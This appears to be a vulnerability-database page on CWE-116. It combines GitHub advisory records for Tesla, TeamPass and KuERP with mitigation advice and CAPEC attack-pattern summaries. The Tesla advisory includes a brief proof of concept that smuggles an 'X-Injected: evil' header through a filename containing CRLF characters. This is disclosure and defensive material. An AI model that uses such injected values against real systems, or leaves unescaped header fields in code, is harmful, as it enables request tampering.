"nvd_published_at": "2026-06-02T20:16:38Z",
"severity": "LOW"
},
"details": "### Summary\n\n`Tesla.Multipart.part_headers_for_disposition/1` interpolates `Content-Disposition` parameter values (field name, filename, and other opts) verbatim into the part header line without encoding or escaping any special characters. An attacker who controls a filename, field name, or other disposition parameter can use unescaped double-quotes to inject extra disposition key-value pairs, or CRLF sequences to inject additional part headers or prepend bytes to the part body.\n\n### Details\n\n`part_headers_for_disposition/1` in `lib/tesla/multipart.ex` formats each disposition parameter as `k=\"v\"` with no sanitization. Values flow in from `add_field/4` (the `name` argument), `add_file/3` and `add_file_content/4` (the `filename` argument and any disposition opts). A `\"` in the value closes the quoted parameter early, allowing extra `; key=\"value\"` pairs to be appended. A `\\r\\n` ends the `Content-Disposition` header line entirely, with subsequent bytes interpreted as additional part headers (e.g. a forged `Content-Type`); a second `\\r\\n` ends the whole part header block and prepends attacker bytes to the part body.\n\nThe default-filename path in `add_file/3` derives the name via `Path.basename/1`, which does not strip CR or LF, so any code that forwards a partially attacker-controlled file path is equally vulnerable.\n\n### PoC\n\n1. Call `Tesla.Multipart.add_file_content/4` with a filename containing `\\r\\nX-Injected: evil`.\n2. POST the multipart body to any upstream via any Tesla adapter.\n3. The upstream receives `X-Injected: evil` as a standalone header line on the affected part.\n\n### Impact\n\nLow severity (CVSS v4.0: 2.1). Any application using `tesla` 0.8.0 through 1.18.2 that passes untrusted input into `add_field/4`, `add_file/3`, or `add_file_content/4` disposition parameters is affected. Consequences range from forging part-level headers to body prepending against lenient multipart parsers. Fixed in tesla 1.18.3.\n\n### Workarounds\n\nValidate disposition parameter values before passing them to the multipart API, rejecting any value that contains `\\r`, `\\n`, or `\"`.\n\n### Resources\n\n* Introduction commit: https://github.com/elixir-tesla/tesla/commit/6ebfdb9abe9c6f119408045b933d82462decd351\n* Patch commit: https://github.com/elixir-tesla/tesla/commit/bb1a2c3da2775924d96e3db8e315dcc4d5d2246e",
"id": "GHSA-28jh-g32x-v9v4",
"modified": "2026-07-10T00:04:37Z",
"published": "2026-07-10T00:04:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elixir-tesla/tesla/security/advisories/GHSA-28jh-g32x-v9v4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48598"
},
{
"type": "WEB",
"url": "https://github.com/elixir-tesla/tesla/commit/bb1a2c3da2775924d96e3db8e315dcc4d5d2246e"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-48598.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/elixir-tesla/tesla"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-48598"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Tesla vulnerable to multipart part smuggling via unescaped `content-disposition` values"
}
GHSA-2CV5-QVQ3-6276
Vulnerability from github – Published: 2023-07-08 09:30 – Updated: 2023-07-10 21:43TeamPass prior to 3.0.10 is vulnerable to cross-site scripting filter bypass in folder names. This can lead to information disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "nilsteampassnet/teampass"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-3552"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-10T21:43:12Z",
"nvd_published_at": "2023-07-08T09:15:43Z",
"severity": "HIGH"
},
"details": "TeamPass prior to 3.0.10 is vulnerable to cross-site scripting filter bypass in folder names. This can lead to information disclosure.",
"id": "GHSA-2cv5-qvq3-6276",
"modified": "2023-07-10T21:43:12Z",
"published": "2023-07-08T09:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3552"
},
{
"type": "WEB",
"url": "https://github.com/nilsteampassnet/teampass/commit/8acb4dacc2d008a4186a4e13cc143e978f113955"
},
{
"type": "PACKAGE",
"url": "https://github.com/nilsteampassnet/teampass"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/aeb2f43f-0602-4ac6-9685-273e87ff4ded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "TeamPass vulnerable to Improper Encoding or Escaping of Output"
}
GHSA-2F9Q-QVGH-8GVV
Vulnerability from github – Published: 2024-01-29 00:30 – Updated: 2024-01-29 00:30A vulnerability classified as critical has been found in Sichuan Yougou Technology KuERP up to 1.0.4. Affected is an unknown function of the file /runtime/log. The manipulation leads to improper output neutralization for logs. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252252. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-0987"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-117"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-29T00:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in Sichuan Yougou Technology KuERP up to 1.0.4. Affected is an unknown function of the file /runtime/log. The manipulation leads to improper output neutralization for logs. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252252. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-2f9q-qvgh-8gvv",
"modified": "2024-01-29T00:30:17Z",
"published": "2024-01-29T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0987"
},
{
"type": "WEB",
"url": "https://note.zhaoj.in/share/mhLwGOcLxYfP"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.252252"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.252252"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.